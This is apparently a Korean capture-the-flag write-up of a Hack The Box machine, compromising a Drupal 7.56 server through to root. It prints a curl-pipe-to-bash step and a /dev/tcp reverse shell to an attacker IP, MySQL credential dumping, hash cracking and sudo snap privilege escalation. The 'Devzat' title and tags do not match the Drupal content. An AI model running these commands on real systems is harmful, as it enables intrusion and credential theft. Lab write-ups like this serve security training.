HTB-Devzat Write up
golang, git-dumper
80 웹페이지 소스코드에 해당 웹 페이지의 서비스 발견 Drupal 7
Drupal 7 발견
Drupal 전용 scanner drooperscan을 실행하여 스캔을 해줍니다.
https://github.com/SamJoan/droopescan
git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
./droopescan scan --help
버전정보 확인 7.56
drupal 7.56 exploit 검색
검색하여 찾은 exploit poc 사용 시도 시 require: cannot load such file -- highline 에러코드가 발생하는데 해당 코드는 ruby로 작성하였으므로 gem을 사용하여 해당 파일을 설치하여 줍니다.
gem install highline
ruby 파일 실행오류
gem 파일 설치 후 해당 rb파일 실행 시 웹 서버의 쉘을 획득할 수 있습니다.
쉘 획득
해당 쉘에서 bash -i 명령어로 리버스쉘 연결 시 permission:denied 거부로 실행이 되지 않습니다.
curl 을 이용하여 공격자 서버에 html파일로 작성한 리버스쉘 코드를 실행하여 줍니다.
// 피해자 서버
curl http://10.10.14.14/index.html | bash
// 공격자 서버
cat index.html
bash -c 'bash -i >& /dev/tcp/10.10.14.14/443 0>&1'
공격자 서버 포트개방 (8000 또는 9001 다른 포트로 연결 시 에러발생 80이나 443만 허용)
python3 -m http.server 80
nc 를 이용하여 해당 포트 개방 후 명령어 실행 시 리버스쉘 획득 가능
홈 디렉토리
정보 탐색을 위해 drupal 7의 오픈소스를 활용하여 탐색 시 /sites/default/defulat.setting.php 에서 db정보가 입력되어있는것을 확인
/sites/default/settings.php 파일에서 데이터베이스,유저명,패스워드 획득
mysql을 사용하여 one line command 를 입력할려 하였지만 에러가 발생
검색 결과 --password=패스워드 또는 -p패스워드를 사용하여 공백없이 입력 시 명령어가 실행 가능
mysql -u drupaluser --password=CQHEy@9M*m23gBVJ -e 'show databases;'
show databases;
mysql -u drupaluser --password=CQHEy@9M*m23gBVJ -e 'show tables'
mysql -u drupaluser --password=CQHEy@9M*m23gBVJ -D drupal -e 'describe users'
users table 에서 발견된 uid,name,pass,loing 등으로 해당 유저 테이블 조회 시 brucetherealadmin 계정과 해스워드 패쉬값 획득 가능
mysql -u drupaluser --password=CQHEy@9M*m23gBVJ -D drupal -e 'select uid,name,pass,login from users'
획득한 해쉬값을 john을 사용하여 크랙 시 패스워드 booboo 획득 가능
ssh 를 통해 해당 계정으로 로그인 하여 쉘 획득 가능
쉘 획득
sudo -l 입력 시 NOPASSWD: /usr/bin/snap install * 확인 가능
GTFOBins 에서 snap 검색 시 권한상승 방법이 나옴
해당 명령어에 COMMAND 부분을 원하는 명령어로 변경하여 칼리에서 실행하여 xxx_1.0_all.snap 파일 생성
(해당 명령어에서는 ""가 빠졌는데 명령어에 추가를 해줘야함)
피해자 서버에서 curl을 이용하여 파일 복사
해당 파일을 명령어로 실행 시 root권한에서 명령어가 실행되어 root.flag 획득